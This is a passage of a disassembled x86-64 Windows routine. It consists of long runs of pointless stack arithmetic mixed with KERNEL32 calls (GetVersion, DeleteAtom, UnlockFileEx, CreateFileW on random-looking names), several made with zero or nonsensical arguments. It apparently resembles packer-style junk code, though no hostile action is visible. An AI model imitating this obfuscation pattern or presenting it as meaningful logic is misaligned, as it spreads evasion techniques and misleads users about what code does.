movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a4]
sub eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rdx, [rsp + 0x133a8]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa918], eax
lea rax, [rsp + 0xa8d0]
mov qword [0x140363a38], rax
mov eax, dword [rsp + 0xa8d4]
mov ecx, dword [rsp + 0xa95c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c8], eax
mov eax, dword [rsp + 0xa184]
mov dword [rsp + 0xa9b4], eax
mov eax, dword [rsp + 0xa948]
mov ecx, dword [rsp + 0x64f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x13720], rax
movzx eax, word [0x140362bb4]
movzx ecx, word [rsp + 0x299c]
add eax, ecx
mov word [rsp + 0x2888], ax
mov rax, qword [rsp + 0x13508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x710c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8dc], eax
lea rax, [rsp + 0xa854]
mov qword [rsp + 0x13728], rax
mov rax, qword [rsp + 0x13438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29fc], ax
mov rax, qword [rsp + 0x136f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x710c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639d0]
mov dword [rcx], eax
lea rax, [rsp + 0x8178]
mov qword [rsp + 0x13730], rax
movsx eax, byte [0x14035e4a5]
mov rcx, qword [rsp + 0x13288]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x305], al
movsx eax, word [rsp + 0x1868]
movsx ecx, word [rsp + 0x235c]
xor eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [0x140363a10]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5fb], al
mov qword [rsp + 0x20], 0
mov r9d, 0x198d
mov r8d, 0x105f
mov edx, 0x60
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa8b8], eax
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x29dc], ax
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x13738], rax
mov rax, qword [0x1403639a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa850], eax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x13740], rax
lea rax, [rsp + 0x29ec]
mov qword [0x140363a40], rax
mov rax, qword [0x140363978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa990]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa97c], eax
mov rax, qword [rsp + 0x135d8]
mov rcx, qword [rsp + 0x13510]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13610]
mov dword [rcx], eax
lea rax, [rsp + 0x8178]
mov qword [rsp + 0x13748], rax
lea rdx, [rsp + 0x13750]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9ac], eax
mov rax, qword [rsp + 0x133b0]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
lea rax, [rsp + 0x29d0]
mov qword [rsp + 0x13758], rax
mov rax, qword [rsp + 0x134b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b4], al
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa850], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rax, [rsp + 0x7970]
mov qword [rsp + 0x13760], rax
lea rax, [rsp + 0x2990]
mov qword [0x140363a48], rax
movsx eax, byte [rsp + 0x6bd]
mov rcx, qword [rsp + 0x135f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6bb], al
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x13768], rax
mov rax, qword [rsp + 0x13740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
and eax, ecx
mov rcx, qword [rsp + 0x13670]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x131b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0x64f0]
mov qword [rsp + 0x13770], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
mov eax, dword [rsp + 0xa9b4]
mov ecx, dword [rsp + 0xa8dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa914], eax
mov rax, qword [rsp + 0x13538]
mov eax, dword [rax]
mov dword [rsp + 0xa9b8], eax
mov eax, dword [rsp + 0xa928]
movzx ecx, al
mov eax, dword [rsp + 0xa81c]
shl eax, cl
mov dword [rsp + 0x765c], eax
lea rax, [rsp + 0x29cc]
mov qword [rsp + 0x13778], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rax, [rsp + 0x6c1]
mov qword [0x140363a50], rax
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa970]
shr eax, cl
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x3914
mov r8d, 0x9eb
mov edx, 0xe2
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa9bc], eax
mov rax, qword [rsp + 0x13730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa904]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa90c], eax
mov eax, dword [rsp + 0x765c]
mov ecx, dword [rsp + 0xa90c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7758], eax
mov rax, qword [0x140363a38]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8b0], eax
movzx eax, word [rsp + 0x1778]
mov word [rsp + 0x2a00], ax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
mov rcx, qword [0x140363990]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6c1], al
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1868]
add eax, ecx
mov word [rsp + 0x1cc4], ax
xor r9d, r9d
lea r8, [rsp + 0x12fb0]
mov rdx, qword [rsp + 0x13750]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa958], eax
movzx eax, byte [rsp + 0x6b0]
mov byte [rsp + 0x6c2], al
mov rax, qword [rsp + 0x13280]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140363a18], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.V9HeZZEvaeM_fxBjcgiYTOZ6Wk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13780], rax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [rsp + 0x9a80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8c8], eax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x13788], rax
movzx eax, word [rsp + 0x2484]
movzx ecx, word [0x140362bdc]
sub eax, ecx
mov word [rsp + 0x29e4], ax
mov eax, dword [rsp + 0xa9b8]
mov ecx, dword [rsp + 0x6d94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a80], eax
mov rcx, qword [rsp + 0x13298]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x13790], rax
mov rax, qword [rsp + 0x133c8]
mov rcx, qword [0x140363998]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9b8], eax
lea rax, [rsp + 0xa398]
mov qword [rsp + 0x13798], rax
mov rax, qword [rsp + 0x134f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13598]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29e0], ax
lea rax, [rsp + 0x1778]
mov qword [0x140363a58], rax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x13790]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6768], eax
lea rax, [rsp + 0xa974]
mov qword [rsp + 0x137a0], rax
mov eax, dword [0x14035cbf8]
movzx ecx, al
mov eax, dword [rsp + 0x7758]
shl eax, cl
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a8], eax
mov eax, dword [rsp + 0xa93c]
mov rcx, qword [rsp + 0x12ee0]
mov qword [rsp + 0x137a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x137a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa98c], eax
mov rax, qword [0x140363a28]
movzx eax, word [rax]
mov word [rsp + 0x2a04], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.rlv5ckNskcjtoePX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x137b0], rax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29fc], ax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x135f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x628], al
lea rcx, [rsp + 0x41b38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x65d]
movzx ecx, byte [rsp + 0x6b8]
and eax, ecx
mov byte [rsp + 0x68e], al
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a08], ax
movzx eax, word [0x140362afc]
movzx ecx, word [rsp + 0x2888]
add eax, ecx
mov word [0x140362bb4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
mov rax, qword [rsp + 0x133b0]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa2a4], eax
mov rax, qword [0x140363950]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x137b8], rax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29f0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov eax, dword [rsp + 0x710c]
mov ecx, dword [0x1403639bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
lea rax, [rsp + 0xa9a4]
mov qword [rsp + 0x137c0], rax
mov rax, qword [rsp + 0x13300]
mov rcx, qword [rsp + 0x13588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13510]
mov dword [rcx], eax
mov rax, qword [0x1403639d8]
mov eax, dword [rax]
mov dword [rsp + 0xa9c0], eax
lea rdx, [rsp + 0x137c8]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa910], eax
movzx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0x13430]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140363a50]
mov byte [rcx], al
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f8]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13668]
mov rcx, qword [rsp + 0x13248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d0], eax
lea rax, [rsp + 0x6d94]
mov qword [rsp + 0x137d0], rax
mov rax, qword [rsp + 0x132b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x305]
add eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fb8]
movzx eax, word [rax]
mov word [rsp + 0x2a0c], ax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x2888]
xor eax, ecx
mov rcx, qword [rsp + 0x13400]
mov word [rcx], ax
mov rax, qword [rsp + 0x13558]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13630]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0x6b80]
movzx ecx, al
mov eax, dword [rsp + 0xa2a4]
shl eax, cl
mov dword [rsp + 0x965c], eax
mov rax, qword [rsp + 0x133f8]
mov eax, dword [rax]
mov dword [0x140363a60], eax
mov rax, qword [0x140363a00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa914]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8e8], eax
lea rax, [rsp + 0xa8a0]
mov qword [rsp + 0x137d8], rax
mov rax, qword [rsp + 0x13418]
mov ecx, dword [rsp + 0x9a80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x137e0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
lea rcx, str.Bpv6Wfi.YZIRI4N
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x29bc], ax
mov rax, qword [0x140363980]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13698]
mov byte [rcx], al
mov rax, qword [rsp + 0x136d8]
mov rcx, qword [rsp + 0x13680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
mov r9d, 0xab
xor r8d, r8d
lea rdx, [rsp + 0x13580]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9c4], eax
mov eax, dword [rsp + 0x898c]
mov dword [rsp + 0xa9c8], eax
lea rdx, [rsp + 0x45c08]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c0], eax
mov rax, qword [rsp + 0x13300]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13538]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa9b8]
mov dword [0x140363a64], eax
movzx eax, word [rsp + 0x29dc]
movzx ecx, word [0x140362b7c]
add eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0x13720]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13568]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x13288]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
mov rax, qword [0x140363a48]
movzx eax, word [rax]
mov word [rsp + 0x2a10], ax
mov eax, dword [rsp + 0xa97c]
mov ecx, dword [rsp + 0x6b80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13330]
mov dword [rcx], eax
lea rax, [rsp + 0xa904]
mov qword [rsp + 0x137e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
movzx eax, byte [rsp + 0x68e]
mov rcx, qword [0x1403639c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29c0], ax
mov eax, dword [rsp + 0xa960]
mov rcx, qword [rsp + 0x134c0]
mov qword [rsp + 0x137f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x137f0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x140363a18], eax
lea rax, [rsp + 0xa900]
mov qword [rsp + 0x137f8], rax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133c8]
mov qword [rsp + 0x13800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13800]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa908], eax
mov rax, qword [0x140363978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7118], eax
mov rax, qword [rsp + 0x13430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13558]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65d], al
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
mov word [rsp + 0x2a14], ax
mov rax, qword [rsp + 0x13300]
mov ecx, dword [rsp + 0xa894]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa998], eax
mov rax, qword [rsp + 0x133a0]
mov rcx, qword [rsp + 0x133c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13798]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
lea rax, [rsp + 0xa954]
mov qword [rsp + 0x13808], rax
mov rax, qword [rsp + 0x13418]
mov ecx, dword [0x14035cbf8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1403639f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x81a0]
mov ecx, dword [rsp + 0xa96c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d4], eax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8b8], eax
lea rax, [rsp + 0x5fd]
mov qword [rsp + 0x13810], rax
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
mov rcx, qword [0x140363a28]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c1]
or eax, ecx
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0x29c8]
mov word [rsp + 0x2a18], ax
mov rax, qword [0x140363a38]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x13460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b2c], eax
movzx eax, byte [rsp + 0x22a]
movzx ecx, byte [0x140353573]
and eax, ecx
mov rcx, qword [rsp + 0x13678]
mov byte [rcx], al
movzx eax, word [rsp + 0x29cc]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc00], ax
mov rax, qword [rsp + 0x13408]
mov rcx, qword [rsp + 0x13470]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
lea rax, [rsp + 0x7c34]
mov qword [rsp + 0x13818], rax
xor r9d, r9d
lea r8, [rsp + 0x13750]
mov rdx, qword [rsp + 0x137c8]
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov dword [rsp + 0xa854], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0x64f0]
mov qword [rsp + 0x13820], rax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x68e]
sar eax, cl
mov byte [rsp + 0x51b], al
movzx eax, word [rsp + 0x29f8]
movzx ecx, word [rsp + 0x2484]
shl eax, cl
mov word [rsp + 0x12b8], ax
lea rax, [rsp + 0xa7b4]
mov qword [rsp + 0x13828], rax
mov rax, qword [rsp + 0x136f0]
mov ecx, dword [rsp + 0xa980]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13250]
movzx eax, byte [rax]
mov byte [0x14035e4a7], al
mov rax, qword [rsp + 0x12fb8]
movzx eax, word [rax]
mov word [rsp + 0x2a1c], ax
mov rax, qword [rsp + 0x13768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
movzx eax, byte [0x14035e4a4]
movzx ecx, byte [rsp + 0x22a]
sub eax, ecx
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0x13770]
mov ecx, dword [rsp + 0x9e54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [0x140363a20]
mov ecx, dword [rsp + 0xa8f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13728]
mov eax, dword [rax]
mov dword [rsp + 0xa9d4], eax
mov rax, qword [rsp + 0x13608]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
mov dword [rsp + 0xa9d8], eax
movzx eax, byte [0x14035e4a4]
mov rcx, qword [rsp + 0x13568]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c0], al
movzx eax, word [rsp + 0x29dc]
mov rcx, qword [rsp + 0x13400]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14035cc00], ax
mov rax, qword [rsp + 0x13490]
mov rcx, qword [rsp + 0x13488]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136c8]
mov rcx, qword [rsp + 0x13828]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7dac], eax
mov rax, qword [rsp + 0x136e0]
mov ecx, dword [rsp + 0xa978]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e4], eax
mov eax, dword [rsp + 0xa954]
mov dword [rsp + 0xa9dc], eax
mov rax, qword [rsp + 0x13778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29e4]
shl eax, cl
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [rsp + 0x6c0]
sar eax, cl
mov byte [rsp + 0x5fb], al
lea rax, [rsp + 0x40c]
mov qword [rsp + 0x13830], rax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x1784]
xor eax, ecx
mov word [rsp + 0x1868], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rax, [rsp + 0xa990]
mov qword [0x140363a68], rax
mov rax, qword [0x1403639a0]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa4c4], eax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0x13838], rax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7dac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [0x140363a1c]
mov qword [rsp + 0x13840], rax
mov rax, qword [rsp + 0x13508]
mov ecx, dword [rsp + 0x73a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d94], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.z8NaQ_a59RWze
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13848], rax
lea rax, [rsp + 0x6be]
mov qword [rsp + 0x13850], rax
movzx eax, word [rsp + 0x2a00]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14035cc04], ax
mov rax, qword [rsp + 0x13690]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x137c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137e8]
mov ecx, dword [rsp + 0xa9b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x920c], eax
mov eax, dword [0x140363a1c]
mov dword [rsp + 0xa9e0], eax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa184]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
lea rax, [rsp + 0xa7d8]
mov qword [rsp + 0x13858], rax
movsx eax, byte [rsp + 0x305]
movsx ecx, byte [rsp + 0x6b6]
sub eax, ecx
mov byte [rsp + 0x5fd], al
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x29c4]
shl eax, cl
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0x13440]
movzx eax, byte [rax]
mov byte [rsp + 0x6c3], al
movzx ecx, word [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a08], ax
movzx ecx, word [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a20], ax
movzx eax, word [rsp + 0x29ec]
movzx ecx, word [rsp + 0x29d0]
xor eax, ecx
mov word [0x140362bdc], ax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13790]
mov qword [rsp + 0x13860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13860]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa944]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x75f0], eax
movzx eax, byte [rsp + 0x6b4]
mov rcx, qword [rsp + 0x13318]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x23b], al
movzx eax, word [rsp + 0x29ec]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x137e0]
mov word [rcx], ax
mov rax, qword [0x1403639a8]
mov eax, dword [rax]
mov dword [rsp + 0xa9e4], eax
mov rax, qword [rsp + 0x13408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7c34]
mov ecx, dword [rsp + 0xa914]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x96e4], eax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x134b0]
